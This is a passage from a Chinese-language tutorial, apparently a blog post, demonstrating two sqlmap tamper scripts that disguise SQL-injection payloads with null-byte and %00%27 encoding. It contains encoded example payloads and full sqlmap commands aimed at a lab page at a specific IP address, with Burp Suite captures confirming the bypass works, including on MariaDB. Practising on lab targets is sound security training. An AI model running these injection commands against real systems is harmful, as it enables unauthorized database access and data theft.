2. apostrophenullencode.py脚本
使用非法的双字节unicode字符替换单引号字符，即 %00%27替换为单引号"'"，例如payload是 "1 AND '1'='1" 经过此脚本操作变换为"1 AND %00%271%00%27=%00%271"
实战演示：
测试地址：python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="apostrophenullencode.py" --proxy="http://127.0.0.1:8080"
经过测试使用此双字节unicode字符替换单引号的方式是有效果的，可以注入出来，具体看下图
发现是注入成功的，下面看看burpsuite抓到的payload
对注入的payload进行解码
发现是准确的，就是使用%00%27替换成单引号。
-------------------------------------------------------------------------------------------------------------------------------------------------------------
3. appendnullbyte.py脚本
通过在payload末尾添加空字符编码，就是加类是这样的"%00"，例如："1 AND 88=88%00'" ，作者这里描述反馈的是只适用于Access数据库，但是我测试环境是Mariadb数据库发现是测试成功的，也能注入出来。
实战演示：
测试地址：python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="appendnullbyte.py" --proxy="http://127.0.0.1:8080"
下面的演示的效果图：
使用Burpsuite抓包查看payload是否添加%00
验证完成，可确认此绕过方式也适用Mariadb数据库，即在payload后面添加%00
网友评论